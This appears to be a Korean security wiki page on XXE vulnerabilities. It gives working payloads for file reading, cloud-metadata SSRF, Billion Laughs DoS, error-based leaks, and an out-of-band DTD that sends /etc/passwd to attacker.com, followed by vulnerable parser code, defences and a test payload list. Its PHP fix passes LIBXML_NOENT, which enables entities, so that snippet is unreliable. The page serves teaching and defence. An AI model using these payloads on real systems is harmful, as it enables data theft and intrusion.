전체 그래프
OWASP Top 10

XXE

web-securityowaspxxexmlattack

상위: Web Security

요약

XXE(XML External Entity)는 XML 파서가 외부 엔티티를 처리할 때 발생하는 취약점입니다. 서버의 로컬 파일 읽기, SSRF, DoS 공격 등이 가능합니다.

공격 원리

XML 엔티티란?

<!-- 내부 엔티티 정의 -->
<!DOCTYPE note [
  <!ENTITY company "My Company">
]>
<note>
  <to>&company;</to>  <!-- "My Company" 치환 -->
</note>

외부 엔티티 (위험!)

<!DOCTYPE note [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<note>
  <content>&xxe;</content>  <!-- /etc/passwd 내용이 삽입됨 -->
</note>

공격 유형

1. 로컬 파일 읽기

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>
  <content>&xxe;</content>
</data>

응답:

<data>
  <content>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...</content>
</data>

2. SSRF (내부 네트워크 접근)

<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<data>&xxe;</data>

3. Blind XXE (Out-of-Band)

서버 응답에 데이터가 포함되지 않을 때:

공격자 서버 (evil.dtd):

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

악성 XML:

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
  %remote;
]>
<data>test</data>

결과:

공격자 서버 로그:
GET /?data=root:x:0:0:root:/root:/bin/bash... HTTP/1.1

4. DoS (Billion Laughs Attack)

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<lolz>&lol5;</lolz>

→ 수 GB의 메모리 소모로 서버 다운

5. Error-based XXE

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
  %eval;
  %error;
]>
<data>test</data>

에러 메시지:

java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash...
                                            
                                      파일 내용 노출

취약한 코드

Java (취약)

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(xmlInput);  // XXE 취약!

Python (취약)

from lxml import etree
tree = etree.parse(xml_file)  # XXE 취약!

PHP (취약)

$doc = new DOMDocument();
$doc->loadXML($xml);  // XXE 취약!

방어 방법

1. 외부 엔티티 비활성화

Java:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

// 외부 엔티티 비활성화
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

DocumentBuilder db = dbf.newDocumentBuilder();

Python (lxml):

from lxml import etree

parser = etree.XMLParser(
    resolve_entities=False,
    no_network=True,
    dtd_validation=False
)
tree = etree.parse(xml_file, parser)

Python (defusedxml - 권장):

import defusedxml.ElementTree as ET
tree = ET.parse(xml_file)  # 기본적으로 안전

PHP:

libxml_disable_entity_loader(true);
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);

2. JSON 사용

XML 대신 JSON 사용 (XXE 취약점 없음)

# XML 대신 JSON API
import json
data = json.loads(request.body)

3. WAF 규칙

# 의심스러운 패턴 차단
Rule: Block XXE
Pattern: /<!ENTITY|<!DOCTYPE.*\[|SYSTEM\s+['"]/i
Action: Block

취약한 기능

기능위험
XML 파일 업로드높음
SOAP API높음
SVG 이미지 처리높음
Office 문서 처리 (DOCX, XLSX)높음
RSS/Atom 피드 파싱중간
SAML 인증높음

SVG XXE

<?xml version="1.0"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text x="0" y="20">&xxe;</text>
</svg>

Office 문서 XXE

DOCX, XLSX 파일은 내부적으로 XML 파일들의 ZIP 압축:

unzip document.docx
# word/document.xml 수정하여 XXE 삽입
zip -r malicious.docx *

테스트 페이로드

<!-- 기본 파일 읽기 -->
<?xml version="1.0"?>
<!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<data>&xxe;</data>

<!-- Windows -->
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">

<!-- SSRF -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">

<!-- PHP wrapper -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

테스트 도구

도구용도
Burp Suite수동 테스트
XXEinjector자동화 XXE 테스트
OWASP ZAP통합 스캐너

관련 공격

참고 자료